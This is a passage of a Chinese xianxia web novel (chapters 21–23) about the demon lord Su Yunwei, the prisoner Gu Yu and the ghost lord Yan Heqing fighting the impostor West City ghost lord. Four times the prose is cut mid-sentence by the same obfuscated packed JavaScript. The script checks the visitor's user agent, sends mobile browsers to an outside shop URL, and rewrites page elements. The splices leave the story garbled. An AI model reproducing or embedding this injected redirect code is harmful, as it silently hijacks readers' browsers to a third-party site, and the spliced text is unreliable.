天帝微微一笑,似乎对此早有预料,从容答道:“自然已经审问过了。说来有趣,一番查证下来,那人竟是魔界燕氏一族。年岁尚幼,心智却坚。审问时只一味装疯卖傻,只字不肯吐露。” 闻言,北庭烨面色不虞,手中折扇“啪”地一收,略一摆手,告也不告,转身离去。 宿云微平静看向天帝,面无表情敷衍圆场:“多年不见,魔尊还是如此随性洒脱。” 天帝见状心中恼怒至极,强行压下心中怒气,半晌后冷哼一声,起身拂袖,亦是遁形离去。 眼见又是一场不欢而散。宿云微沉痛叹息,将杯中茶一饮而尽,决定顺带去瞧瞧那位始作俑者。随意招过位近侍带路,前往牢狱。 倾雪宫经此浩劫已见衰颓之意。草木枯败,腐朽生息。一路所见唯有层层加重的守卫,风声鹤唳,草木皆兵。 宿云微哑然失笑,莫名有些好奇那囚犯有何威慑力,竟能让如此多人战战兢兢如临大敌。 不多时行至牢狱门前,恶兽号哭声响震耳欲聋。宿云微不以为意走上前去,守卫纷纷低头躬身,自觉让出一条路。 牢狱越往里走便越是昏暗,阴冷气息扑面而来,兼之耳边声音愈演愈烈,惹得宿云微莫名心烦。 她眉头微皱,指尖灵力流转,泯声咒诀应时生效,嘈杂声渐远,四周理应缓慢归于寂静。但隐隐约约……还有声响。 那自然是来自这儿唯一被关着的人。 妖君陛下有些郁闷。 于是带路的侍卫自觉在妖君的笑容中十分专业地转身离开,心中替被关着的囚犯默哀。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14340306|152605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牢狱内,他坐在一方角落里正试图劝说自己平静接受死亡的来临,一个人自言自语从冥界的种种好掰扯到其余五界的种种坏处。 “人界不行,人太多看着就烦。当鬼多好,看见了也可以装作没看见。” “天界不好,太死板。那么些仙君仙子天天渴望被雷劈,人生无意义。当鬼多好,起码不用被雷劈。” “神界人少还天天找各方邪恶势力干架,太无聊。当然我这具身躯弱成这样也不太可能当神仙。当鬼多好,想找人打架都打不了。” “妖魔两界人倒是不多不少,不过听说这两界尊主恶名远扬不好相与,还是能避则避得好。相比之下鬼主倒是……呃,还挺好。” 寒意莫名自心底窜起,某种被暗中窥探的感觉令他有些毛骨悚然。 那是面对杀戮者的本能反应。而他此刻,避无可避。 他尝试着冷静下来,手指不自觉地攥住衣袖边缘,向四周看了一圈,略微得了些底气,开口道:“不知是哪位尊主来此,何不现身一叙?” 但是昏暗中唯余寂静。来者仿佛决意要让他一个人演完这场独角戏,只作看台下的观赏客,目不转睛却又沉默不语。 徒留作戏者在台上窘态毕露焦急不已。 行行行,早死晚死都是死。他苦中作乐地想,自己可能会被躲在暗处的这位仁兄盯死。 创造了一种前无古人后无来者的死法,也算没白来这一遭。 他这般想着,竟忍不住笑了起来。原本略显苍白的俊美面容借着这笑意也显现出几分少年气,眉眼染上些许艳色,远远瞧着,惑人心魄。 难道是吓傻了?宿云微站在暗处难得有些忧虑。 他笑了一阵,心中恐惧倒是散了不少。 于是又秉着反正都是死你还能拿我怎么办的理念,不怕死地开口说道:“尊主若不愿现身自然也可。只是我尚有一愿还未完成,若就此死去,心中颇有不甘。 不知尊主可否发善心,先让我了却此愿?” “……说。”声音冷冽,凛若霜雪。来者是个女子。 他垂眸,于幽暗处看不清神情,声音却莫名有些哀伤:“能不能给我一管长箫?” 来者沉默片刻,并不多问。凭空浮现出一管白玉箫,三尺云纹坠绛缨。 他撑着墙壁缓缓站起身,伸手握住白玉箫,莹润通透,实是上品。 他笑了笑,向来者道了声谢。而后手指搭上箫孔,轻盈按压跳跃。唇齿间气息送出,箫声凄婉,诉尽离殇。 这支箫曲是世间唯一真正属于他的东西。他不想让它随着自己一起被忘却。 当初做鬼在冥界游荡时,鬼差曾问他还记得什么。他认认真真想了半晌,最后答道,他会吹箫,但只会一支曲调。 那一曲像是刻在记忆极深处的烙印,不断提醒着他有来处,又在曲终人散后,欺骗着他还有归途。 待一曲吹奏完,他缓慢睁开眼,释然一笑,一切尘埃落定。 他躬身双手奉上白玉箫,轻声道:“多谢尊主成全。而今要杀要剐,悉听尊便。” 一只手骤然取过白玉箫,宿云微不知何时俯身看向他,语气森然道:“你从哪学到的这支曲子?本君要听实话。” 他抬眼看向她,当机立断决定撒个谎。 21. 挣扎 天旋地转,头痛欲裂。 顾屿瘫倒在地上,咬紧牙关,恨不得自己立刻找面墙一头撞死。偏偏痛楚愈是源源不断,他的意识愈是清楚。 如此这般,循环往复,永无止境。 到最后身体已然脱力,他的手瘫在一边,用尽全身力气冲乌归喊道:“往水里跳,快!” 乌归感受到身后恶兽越来越近,原本手足无措,大脑一片空白。此刻听到了顾屿的话,竟又恢复了几分理智,迅速扑上前去,拉着顾屿一道滚入了湖中。 “扑通”一声,湖中溅起了大片水花。 岸边的恶兽倏忽睁开了眼,骇人兽瞳却是不见血色,黯淡无光,那是如银月色也照不透的灰败。 冷,好冷。冰寒刺骨,寒意辗转于身躯各处,让顾屿有了种自己今夜不是要痛死就是要冻死的错觉。 他呛了几口水,茫然地睁开了眼。入目是黑沉沉如同夜幕的湖水。 今夜天上有月亮,顾屿想,那湖中也会有月亮吗?他想问问乌归,开口却只有咕噜噜的一串水泡。 乌归拽着他拼命往上游,生怕这祖宗今夜真就栽在这里。 夜色中,湖水一波一波被推开,打碎了湖心皎白的圆月。顾屿的脑袋随着乌归的动作一浮一沉,痛楚渐渐湮灭。 到了湖心处,寒意渐深,顾屿在水中忽觉眼前有白光一闪而过,他努力睁眼去看,身体不自知地往下挣了挣。 乌归被他的动作搅得险些失了平衡,心中不免有些恼怒,又紧拽着他往上提了提。 顾屿却已于一片朦胧光晕中窥见了那湖心物什的轮廓,但此时又尚不便同乌归言明,只得先于自己默然思索了一番。一时间心中诸多揣测,纷至沓来。 许久,二人才重又靠了岸。乌归四仰八叉地瘫在地上,身上衣衫湿透,胸口起伏,喘息不止。 顾屿坐在一旁徒劳地拧着自己的衣服,水珠滴滴答答落下,又开始琢磨怎么再把人忽悠下水。 又等待了一阵,乌归勉勉强强坐了起来,面色苍白,显然已乏力至极。 顾屿默默观察了他一阵,揣着所剩不多的良心打消了方才的念头。 然而水还得下,东西还得查,虽然一时半刻凫水是学不会了,但不代表没有其他方法。 半刻后,乌归神色复杂地盯着眼前浑身上下贴满避水符纸的人,陷入了深深的沉思。 顾屿对着湖面往脸上贴着长条符纸,仔细检查疏漏,没有感到丝毫不妥。 眼看这奇葩纸条人真准备就这样往水里跳,乌归万分诚恳道:“呃,咳,那个,顾公子,你这,就这么下水,是不是不太……呃,不太合适。” 顾屿闻言转过头,眼神幽幽地盯着他,面上黄符纸随气息起落:“没事,你放心,死不了。” 而后决绝转身跃入湖中。 乌归心中一紧,跑至湖边探出头,满面忧愁地祈祷这货千万别淹死。 好在这一身避水符纸终究还是有些许效用。顾屿一路顺邃飘至湖心处,往光亮处用力一挣,渐渐下沉逼近那水中物什。 待到距离足够近时,顾屿于一片朦胧柔和的光亮中看清了它的原貌。 那是一副白玉棺。白玉棺从中央至四脚被手腕粗细的铁链紧紧缠住,铁链向四面八方延伸,隐没在未知幽暗处。 顾屿又凑近了些去瞧,手不经意碰上棺盖。刹时红光一闪,顾屿顿觉手掌灼痛不已,在心中暗骂一句,不敢再碰。 棺盖上浅白光晕渐渐转为暗红纹路,像是某种奇异符咒。 顾屿远远打量着,一时间怎么也想不起这符咒的用途,皱着眉头又向玉棺漂得近了些,微微向那玉棺里探头看了看。 铁链重重中,一张苍白的面容若隐若现。眉眼文弱,鼻挺唇薄,嘴角微微上扬,像是正沉溺在一场美梦中。 然而顾屿看清这棺中人的面容后,却只觉胆寒心惊。纵使只见过寥寥几面,他也绝不会认不出这张脸。那是西城鬼主的脸。棺里躺着的是西城鬼主。 若是他已经死了,那这些时日在外面发号施令的是谁?那日他们见到的从鬼主墓里走出来的又是谁?他们第一次见到的鬼主是如今的西城鬼主吗?如果不是,那到底谁是真的? 顾屿有些焦躁,身上符咒忽明忽暗,避水符眼看要失效了。他拧着眉头,努力往上划,好歹赶在符咒失效前回了岸边。 乌归将他拉上来,默默听着他讲这藏在湖底的玉棺中躺了个同西城鬼主一模一样的鬼,拧着眉头,陷入沉思。 顾屿讲完后,又看向乌归问道:“元兄可曾听说过这西城鬼主有什么双生兄弟之类的传闻?” 乌归思索一番,摇头道:“未曾。这西城鬼主的位子自修罗道初成后,便由西三城中最强的一脉世代相传,这一脉向来只有独生子,绝无双生之说。” 顾屿顿觉心凉了半截,原本还存了些许侥幸,觉得这活着的西城鬼主也许还是真的,不必大费周章去折腾。 只可惜天不遂人愿,如今看来还是得折腾。 乌归也明白过来,粗黑眉毛几乎拧成一团,有些犹疑地问道:“你难道怀疑如今的西城鬼主是假的?” 顾屿苦笑着看向他,反问道:“不然呢?不是双生,除了一真一假还有何解释?” 乌归却将手掌一挥,急切说道:“不可能!鬼主之位岂是儿戏,怎么可能会如此轻易就让人得了去? 四方鬼主若要身居其位必要遵守各方规则,否则天谴将至,永世不得超生。怎会如你说得那般简单,轻易占了这一方鬼主的位置!” 言至最后,他的语气愈来愈激烈。 顾屿一方面觉得他说得对,一方面又被他吵得头疼,赶忙趁着间隙又问下一个问题: “所以,元兄你可知道能坐上这西城鬼主的位置,究竟要满足何种要求?万一这要求有漏洞呢?万一那假的鬼主恰好也满足这要求呢?” 乌归依旧皱眉瞪着他,没好气地答道:“这我怎么知道?!我要知道我不早就当上鬼主了吗?再说我也不是西三城的鬼,你问我我问谁去?” 顾屿默默低下了头。 如果说当西城鬼主有条件限制,那按照乌归所说的,第一无疑是血脉相传,这鬼主必须是某一脉的后人,第二也许是……独生? 如果真的是有双生子呢?那就必须舍弃一个,保全另一个。 可是湖底的那个,是被保全的还是被舍弃的尚未可知,这鬼主的真假也无法判别……绕来绕去,绕回了原点。 顾屿有些头痛。闭目凝神之际,耳畔传来远处隐隐约约的某种声响。出于对危险的本能警觉,他蓦得睁开眼,一把拉过乌归,小声道:“有东西过来了,跑!” 乌归却只惊骇地望着他,目瞪口呆,一句话也说不出。 顾屿心知不妙,顺着他的目光向身后看去,月色下,林中有人穿花拂叶而来。 只一瞬,西城鬼主便笑吟吟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14340307|152605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地出现在他们面前,顾屿明白,一切都晚了。 西城鬼主穿了身素白衣衫,手中摇着柄黑色纸扇,步伐不快不慢,语气不咸不淡:“二位让我好找啊……私闯禁地,惊动神兽,今夜怕是又有人要遭殃了呢,你说,这是该怪你们,还是该怪那群蠢侍卫呢?” 他又向前走了两步,漫不经心地打量着面前两人,见他们发稍衣襟湿透,仍在不断往下滴水。 他脚步一顿,面上神情变化莫测:“你们,看见了什么?嗯?潜到了湖里?真可惜,毕竟是贵客,原本还打算饶你们一命的,” 他眸色一凛,声调陡然转冷,“但现在,我改主意了。” 西城鬼主手中折扇一挥,一众阴兵立刻显现,将乌归同顾屿团团围住。 他微微一笑,语气却狠戾道:“还是让你们碎尸万段,丢进湖里喂鱼吧。还不动手?!” 那些阴兵周身笼着黑气,披坚执锐,手中兵器在月色下泛着寒光,仗着人数多将二人围了个里三层外三层。 顾屿手中持剑,同乌归背靠着背,向他叮嘱了句速战速决,能逃就逃,而后手中剑灌注灵力,二人冲杀出去。 刀光剑影交织,皮肉撕裂声不绝于耳。顾屿的灵力过于强悍,剑过处留下遍地的断肢残骸。 那柄灵剑锋锐无双,西城鬼主站在远处想,是个好东西,那人也勉强算是个好东西。只可惜今夜剑和人都注定要折在这里了。 他手中折扇又一挥,那些残肢便再度成了阴兵,阻了二人去路。 阴兵不同于鬼侍,后者死去便是魂飞魄散,前者却像是能随时拆卸的木偶,受主人的命令随时重组再生,致力于活活把敌人耗死。 他坐在远处,看着他们垂死挣扎如同看一出好戏。折扇轻轻扇动,他想,众生尽皆蝼蚁,死生有命,又何必徒劳挣扎。 阴兵一波接一波如潮水般涌上来。纵使二人各自法术再怎么高强,剑术再怎么精妙,终究还是寡不敌众,体力渐渐不支。 乌归身上已被划伤多处,此刻满头大汗,挣扎着挥剑砍杀,冷不防被前后夹击,同时刺中了胸腹处。登时痛得闷哼出声,剑掉落在地,整个人瘫倒动弹不得,只能任人宰割。 顾屿一面留意着回身去看他,一面同身边阴兵搏斗,心中焦急,剑意凌然,在夜幕中携着暗蓝光晕划过,阴兵齐刷刷倒了一片。 顾屿趁机回到乌归身侧,好不容易打出来的缺口很快又被填补。 到最后,剑已铮鸣,几乎濒临断裂。顾屿收了手,耳边嘈杂,心中却出奇地平静。 他想起自己在那断崖边的死去,好歹还说了几句话,让那些所谓的正派修士互相猜忌争斗。如今却要被这些没脑子砍不死的阴兵砍死,未免太过丢脸。 他瘫在地上,抬头望明月,心想,真可惜,今夜没下雪,掩不住自己的狼狈。要死在泥泞里,终究有些不甘心。 顾屿闭上了眼。可耳边却忽而寂静下来,没有兵器交接声,也没有想象中的皮肉痛楚。 难道是梦?他茫然睁开眼,坐起身向四周望去。乌归依旧满身是血地倒在他身边,而原本西城鬼主站着的地方,又多了个人,不,多了个鬼。 那鬼身形高挑,墨发束起,玄衣曳地。面容艳丽到近乎妖孽,偏偏周遭气场是冷的,眉目间像覆了一层寒霜,整个人静若寒潭。 像是长在冰天雪地里蛊惑人心,诱人追寻,又择人而噬的毒物。 是燕鹤青。 22. 癫狂 风未定,人初静。天边月色皎皎,地上鬼影橦橦。 此情此景,顾屿觉得自己高低得给燕鹤青磕上一个,再道一声救命之恩没齿难忘,来世必将做牛做马报答您或者今生今世以身相许,二选一。 奈何待他缓过神来,又发觉手脚已近麻木,想是砍阴兵砍得太狠的缘故,此刻只能动弹不得地默默瘫了回去。凝神侧耳听燕鹤青那边的动静。 不远处,燕鹤青眉眼冷淡,手中持着那柄方才尚在主持战局的黑色折扇,似在翻来覆去地欣赏把玩。 西城鬼主被她突如其来的缚身咒定得结结实实,目光随着那折扇左摇右晃,声音却莫名温和下来:“阿青,你怎么来了?” 燕鹤青动作微微一顿,似笑非笑地抬头看了他一眼,手中寒光一闪而过。只听“呲啦”一声,折扇被划破,其中潜藏的怨气翻涌弥漫,纠缠呼号着飞向半空,闻之令人毛骨悚然。 西城鬼主的脸色顿时难看至极。 “啧,没出息。”燕鹤青向他靠近了些,轻声道,“说吧,你方才打算用这些阴兵做什么?” 西城鬼主偏过头瞪了她一眼,铁青着脸色,抿嘴不言。 燕鹤青眸色深幽,冷淡道:“宋——百——万?” 顾屿:……?等等等等,什么送百万? 他尚有些不明所以,西城鬼主却似乎是被这句话戳到了痛处,温和的面具一点点剥落,忍不住吼道:“闭嘴!不许叫这个名字!不许这么叫我!” 燕鹤青冷笑一声,从善如流:“好的,宋百万。” 顾屿莫名对那西城鬼主产生了些微同情:宋百万…………这可真是个潦草的名字。 其震撼程度与他还活着的时候曾见过一位俊秀仁兄叫狗蛋有的一拼。 宋百万气急败坏,满面通红,恨不得立刻以头抢地,血溅三尺身亡。他尝试着挣了挣身体,缚身咒却是越缚越紧。 宋百万额头青筋暴起,嘴角狂抽,整只鬼几近癫狂:“只会叫我名字算什么,我方才可是打算杀了他们!你要替他们报仇,有本事就杀了我,杀了我啊!” 燕鹤青皱眉看着他,心中隐约觉得有些不对劲,下一刻骤然手起刀落。 宋百万迷茫地瞪大了双眼看向她,癫狂劲骤然退去,轻轻喊了一声:“阿青?” 而后“咕咚”一声,头颅坠地。 凶残,实在是太凶残了。 脚步声不徐不急地向这边走来。顾屿只觉冷意缓缓自后背升起,周身寒毛倒竖。方才初见燕鹤青时死里逃生的庆幸已然湮灭,此时此刻他只想闭目装死逃过一劫。 燕鹤青停在了他身边,冷声道:“别装了,起来。” 顾屿姿态僵硬,坚决不动。 燕鹤青缓缓擦拭着手中短刀。寒光不经意地从顾屿眼睫处一闪而过,抵在了他的脖颈上。 顾屿默默睁开了眼,一面伸出手指试图将那架在脖子上的短刀推远些,一面硬着头皮同燕鹤青打招呼:“哎哟,北鬼主大人,好久不见。” 燕鹤青却状若未闻,并不答话。将刀收回去后,转身又去查看乌归的伤势。 她对医药之道其实并不精通,喂了乌归两颗保命的药丸,又马马虎虎地将他用白布捆成了个棕子,就将人丢给了顾屿。 离开时又扔给他两张瞬移符,言简意赅道:“带他回你们的落脚处,今夜无论听到什么动静都别出来。” 说完再度利落转身,消失在了原地。 顾屿拖着乌归,心中有些怅然若失。他望着西城鬼主原来站着的地方,一瞬间仿佛又想到了什么,勉强站起往前走了几步。 他原以为自己会看见什么令人惊惧的血腥场面,然而真正探身去看时,却发现什么也没有。 没有死不瞑目的头颅,没有令人作呕的血腥气,也没有死后半烟雾化的魂魄。 月色下,草丛里,只有一只断首的木偶静静躺在那里。 而木偶的头颅,已然不知去向。 自从夜间开始频繁出现魂魄丧命后,大城中便有了不成文的规定,入夜后不得在外逗留,并需立时熄灭灯火。然而今夜却极为反常。 城门处一众鬼侍擎着火把,面容随着火光摇曳明明暗暗,神情呆滞,齐齐仰着头看向站在城门瞭望台上的西城鬼主。 宋百万默然凝视着城墙下的诸鬼,不知为何竟轻笑出声,一改平日温和做派。面上神情如野兽般狂热,眼中是令人一望即知的疯狂。 他立于城楼高台,负手朗声道:“呵,诸位,天道不仁,欺瞒众生。费尽心思将吾等困于囚笼。让吾等永世不得脱离苦海再入轮回。然天无绝人之路,吾耗费百年终为诸位寻得脱困之法。” 宋百万将手一挥,墨色衣袍在夜风中猎猎招展。他眸中血色一闪而过,一字一顿道,“今日合该为汝等斩断囚笼,重归天地混沌,于世间得永生!” 台下应和声登时响起,城门边火光冲天,喊叫声震耳欲聋。 而城内却依旧静得出奇,似乎丝毫没有被这声响所惊动。 宋百万嘴角掠过一丝不易察觉的笑意,正待抬手命令鬼侍出发。城门高台处却骤然现出另一道身影。 从鬼侍手中夺来的长剑携着寒意自耳边堪堪拂过。宋百万头也不回,只微一侧身,手中现出墨色折扇将那长剑一提一引,让其顺势折返回到了出剑人手里。 燕鹤青抬手接过长剑,一步步自黑暗中踏出,手中长剑寒意凛冽,映就月色生光。 她行至高台前,俯首看向城墙下的鬼侍,神色近乎漠然道:“你对他们,做了什么?” 宋百万朝她笑了笑,似是又披上了温和的外皮,缓慢低语道:“我说我什么都没做,你信么?” 他的语气中透着些许惋惜,轻叹一声道,“我只是让他们看明白了这所谓的修罗道十二城的真相罢了。怎么样,阿青也要听听看么?” 燕鹤青沉默地看着他,唇角微微勾起,眼眸中却是波澜不惊,轻轻颔首道:“洗耳恭听。” 宋百万闻言一怔,旋即又笑道:“阿青,今夜你阻不了我的。我等这一刻等得太久了,太久啦!天道邈无极,人命若朝霜。 众生皆在囚笼中。我今日所思所为无错,来日亦无悔。来人,——” 话音未落,长剑须臾间已贯穿其胸膛。燕鹤青眸色寒凉,冷声道:“你根本不是他。你要做什么?你到底是谁,他又在哪儿? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14340308|152605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回答我!” 宋百万垂眸看向那刺穿胸膛的长剑,面容古怪地扭曲了一瞬,咧嘴怪笑道:“你看,他什么都有了,什么都得到了。哪怕他都死了那么久了,尸骨无存了,你却还记得他。 真可惜啊,阿青,他不会再回来了。” 他单手握住剑身,不顾掌心刺痛,生生将剑从胸膛中拔了出来。血流如注。掌心皮肉被深深划破现出白骨。 他浑不在意地冲燕鹤青笑着挥手,下一刻却又面目狰狞恶狠狠道:“但是阿青,明明是我先认识你的!凭什么你只记得他?!你和我才是同类不是么?一样的冷血狠毒,一样的铁石心肠,一样的为达目的不择手段…… 阿青,不要再否认……也别再自欺欺人了,承认吧,我和你都是怪物!谁也逃不掉的!哈哈哈哈哈哈,谁也逃不掉!!!” 宋百万狞笑着后退,向着城楼纵身一跃,化为一阵灰白烟雾消散在鬼侍中。燕鹤青心道不好,紧抿着唇,俯身往下看去。 火光明明暗暗间,所有鬼侍都变成了同一张脸。数以万计的宋百万都在冲她狞笑。他们露出一模一样的唇角弧度,一模一样的森森白齿,一遍遍朝她重复着: “我们是同类!” “我们都是怪物!” “逃不掉的!谁都逃不掉!” “所有人都得死!!!” 燕鹤青面色苍白,脑子里昏昏沉沉,只能强行逼迫自己不要再去看这些东西,转身颓然坐在地上。 她手中再度现出短刃,向着自己手心狠狠一划,尖锐疼痛感暂时逼退了昏沉,带来片刻清醒。 她从腰身处摸出城主令,沾着手中血一笔一划在令牌上刻画字迹。鲜血淋漓,顷刻间被令牌吸收了个干净。 “西城危。速来增援。” 宋百万隐匿在一众鬼侍中,悄无声息地发动指令。 “子时已到。屠城。” 鬼侍们浑身一怔,似是从幻梦中惊醒。眼神空洞地握着火把,腰间别着刀剑,四下分散行动。 燕鹤青站在城楼上,默然瞧着台下千千万万长着同一张脸的鬼侍,面色苍白,眼神凛冽如冰。 手中血沿着掌心脉络蜿蜒曲折,最终自指尖滴落,在地上浸出一片诡异殷红。 有多久没酣畅淋漓地杀一场了? 她忘了。 杀戮于她而言,从来都不是宣泄,而是避无可避的噩梦。 只可惜如今,到底还是要走到这一步。 燕鹤青闭上眼,于心中默念那无可替代的名字。手心血珠凝结,伤口迅速愈合。血黑雾气化为暗紫长剑实形,最终缓缓降至她手中。 这柄长剑锋锐无双,却因杀伐过多,戾气极重,被前人封在了北域极寒之地。 燕鹤青机缘巧合下得了它,熔了小半魂魄,舍了半身灵力将其铸造成本命剑。 自此这长剑便可随她心意而动,千年来随她自北域中生生杀出了一条血路。 燕鹤青握紧手中长剑,剑锋暗紫光泽流转。她的眼眸中渐渐翻涌出血色,熟悉的杀戮气息让她浑身发抖。 燕鹤青闭目复又睁开,一字一顿道:“走吧,斩夜,再随我去杀一场。” 23. 厉鬼 夜色凝滞如密不透风的铅板。风声渐渐止息。城门处火光绵延数里,鬼侍们形容呆滞,行动木僵,被某种术法强行阻碍在原地。 对面处,燕鹤青唇角微扬,眉眼是令人心惊地艳丽,长剑执在手中,身后暗紫色的结界已然笼住全城。将一众鬼侍连同火光一并拦在了城外。 她不动声色地打量那些鬼侍,只见火光摇曳下,仍旧是千百张同样清隽的脸,不免又有些头痛。 陈年旧事扑面而来,堆积在沉闷夜色中,令人几欲窒息。 多思无益。 从最近的城邦调度鬼侍赶来也至少要两个时辰,可这结界,燕鹤青微微皱眉,最多只能撑一个时辰。那就意味着,她要在这一个时辰内解决所有麻烦。 手中长剑铮鸣,剑身骤然光芒大盛,因感受到了杀意而兴奋得发抖。 燕鹤青无声笑了起来,笑得真心实意,眉眼间罕见地沾染上了几分残忍的快意与天真。 不远处。黑袍老者站在城楼高台上,默不作声地瞧着燕鹤青。月色流转下,他那因苍老而布满沟壑的脸缓缓化成了另一张脸。 同城下鬼侍们如出一辙地清隽贵气,西城鬼主的脸。 与鬼侍们的呆滞不同,他的眼眸黑沉明亮。只是面上可见书生少年气,身后却已是白发三千丈。 他往后退回了阴影里,苍老再度爬上脸庞,顿时沟壑纵横。 他轻叹一声,面色凝重,微微摇头,不知说与谁听:“……你不该来此。” 须臾。城楼下杀声四起,只见暗紫长剑划破黯夜,染就一地血色。 鬼侍们如潮水般一波波涌上前去,片刻后便又齐刷刷轰然倒地,冒着黑雾的头颅带着喷洒的血液四下乱滚,惨叫声此起彼伏。 燕鹤青面上溅了几点温热的血,整只鬼初始时气定神闲,平静地仿佛只是在做再寻常不过的小事。 到了后来,脚下血流成河,面上殷红未干,眼眸中倒映出明明灭灭的火光。 再平淡的神情落在他人眼中,也如同从地狱爬出来的索命厉鬼,徒余狠厉凶煞。 最后一剑穿透了面前鬼侍的胸膛,喷溅出的血一点点洇透衣衫,她莫名厌烦。拔剑转身,退回结界处。 原来还不到一个时辰。 血腥气同树木腐败的气息缓缓交织,混合出令人作呕的苦涩。燕鹤青坐在地上,试图用法术拭清剑上血迹。 有脚步声由远处渐行渐近,来人明明心中该是气急败坏,偏偏表面上还要故作不徐不急。 燕鹤青觉得有些可笑。 来人停在面前,阴影遮了大半月色,向她伸手,很是自然地说道:“起来。我带你去个地方。” 燕鹤青手中动作一顿,头也不抬道:“滚。” “阿青。”来人又叫了一声,语气中微微带上几分无奈,“这次真的是我。” 燕鹤青抬眼随意一瞥,平淡地“哦”了一声,停顿片刻,又真心实意地问道:“你怎么还没死?” 来人笑了笑,坦然道:“大约是这数百年间没能见到你,总不甘心就这样死去。” 人的脸皮怎么能厚成这样,燕鹤青无言以对,默默冲他翻了个白眼。 寂静半晌。燕鹤青不再看来人,自顾自将剑收回剑鞘,忽而唤道:“宋浮白。” 来人闻言一怔,终是敛去面上笑意,缓缓收回手,应道:“嗯,是我。” 然而燕鹤青却笑了起来,摇头道:“你不是。” 下一刻,周遭天崩地裂,万物化为虚无。斑驳光影交叠间,空间扭曲了一瞬。 宋浮白面上带了点温和笑意,隔着重重幻象,俯下身,伸手捂住了她的眼睛。 他说,阿青,别怕。 燕鹤青在黑暗中默不作声地想,以往同宋浮白有关的回忆总不会是什么好事,今日这般温情实在是难得。 只可惜时过境迁,斯人已逝,终归虚妄。 待燕鹤青再睁开眼时,夜色下大城内已是火光冲天。她身处城楼高台上,眼眸由清明渐渐转为冷冽。 方才陷入幻境不过短短一瞬,那些鬼侍已被自己尽数斩杀,这火光…… “哟,这么快就醒了?”仍旧顶着宋浮白的脸的西城鬼主语带调笑,手中折扇有一下没一下地扇动,微微摇头道, “看来阿青你对他也没有传闻中的用情至深嘛,真是的,果然谣言不可尽信,白白浪费我看戏的好心情。” 燕鹤青冷笑着看向他,实在搞不懂这神经病脑子里都在想些什么,直接了当地问道:“你把城中那些鬼怎么了?” 闻言,西城鬼主将手中折扇“啪”地一收,眼眸温和,唇角弯了弯,阴恻恻道:“还能怎么样?烈焰焚身,死无葬身之地了呗。 怎么?阿青现在还想要去救他们吗?” 燕鹤青抿紧了唇,面上神色却是波澜不惊,良久嗤笑一声,淡然道:“自然不会。” 暗紫长剑再度被执在手中,她提剑指向西城鬼主,眸色幽深,一字一顿道:“但无论如何,你今日,必须死在这里。” “是吗?”西城鬼主轻笑一声,随意从口中吹出一支悠长空灵的曲调。 脚下的地面在震动,月色中,兽类应召而来。 西城鬼主装模作样地叹息一声,随着兽类的显现,消失在了原地。 空中遥遥传来一句话。 “若能打赢它,我便告诉你真相。” 一瞬间,燕鹤青觉得自己马上就要炸了。 气炸了。 一只不知从哪冒出来的鬼顶着那么可恨的一张脸说着极端欠揍的话,还大摇大摆地干着如此没脑子的事,真是活该被扒皮抽筋打入地狱永世不得超生。 去他妈的慈悲气量哀怜众生,老子今天不把他揍到他妈都认不出来老子这数百年算是白活了! 燕鹤青面上极其平静从容地将手指攥到发白,关节咯吱作响,心中极有分寸地将西城鬼主骂了个狗血淋头。 正待上前同那兽类决一死战时,今夜再次被人用手捂住双眼。 耳畔传来某个略显急促的声音,温热吐息打在颈侧:“等等……” 燕鹤青:“…………………………” 今夜才发现,正常人原来只是伪装,不过没关系 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14340309|152605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,神经病我正好要揍一双。 她冷静至极地抬脚往身后踹了过去。下一刻,黑暗中一道弓形人影飞起,以迅雷不及掩耳之势撞破了城楼护栏,重重跌了下去。 土地被砸出了人形凹陷,完美地契合那人的身体。 顾屿眼神涣散地躺在地上凹陷里,一整个儿出师未捷身先死。 谁能想到北鬼主大人看似瘦削高挑的身形里竟蕴藏着如此可怖的力量,一脚就能将人踹飞了十里地。 顾屿尝试着动了动,胸腹疼痛,腿估计是被踢折了。 唯一可喜的是命还在。 不打敌军专攻友军,打仗是这么打的吗?! 